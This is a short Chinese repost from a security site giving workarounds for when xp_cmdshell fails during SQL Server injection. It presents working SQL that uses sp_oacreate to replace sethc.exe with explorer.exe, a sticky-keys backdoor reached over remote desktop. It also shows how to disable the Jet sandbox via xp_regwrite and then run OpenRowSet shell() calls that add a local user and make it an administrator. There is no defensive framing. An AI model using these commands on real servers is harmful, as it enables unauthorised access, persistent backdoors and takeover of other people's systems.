mssql exec xp_cmdshell 调用'CreateProcess'失败解决办法

admin 2021年4月3日18:51:29评论98 views字数 1158阅读3分51秒阅读模式

    mssql 数据库注入时 exec xp_cmdshell 调用 'CreateProcess' 失败的解决办法。

    微软ms sql 2000/2005 注入时exec xp_cmdshell 调用 'CreateProcess' 失败,错误代码: '5',两种解决办法。

    原因不说了,一般都是cmd.exe被限制权限了,system用户没有权限,解决方法2种:

1、替换shift文件(在开启3389情况下):

    下面两条语句为分别执行的。

    这条语句将explorer.exe复制为sethc.exe

    declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe','c:windowssystem32sethc.exe';

    这条语句将sethc.exe复制到dllcache目录下

    declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe','c:windowssystem32dllcachesethc.exe';

    另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。

2、直接开启acess的沙盘(沙盒),来执行命令:

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators 123 /add")');

注意:如果是 Windows 2000,则将以上 Windows 目录改成 winnt。

文章来源于lcx.cc:mssql exec xp_cmdshell 调用'CreateProcess'失败解决办法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:51:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mssql exec xp_cmdshell 调用'CreateProcess'失败解决办法http://cn-sec.com/archives/318893.html

发表评论

匿名网友 填写信息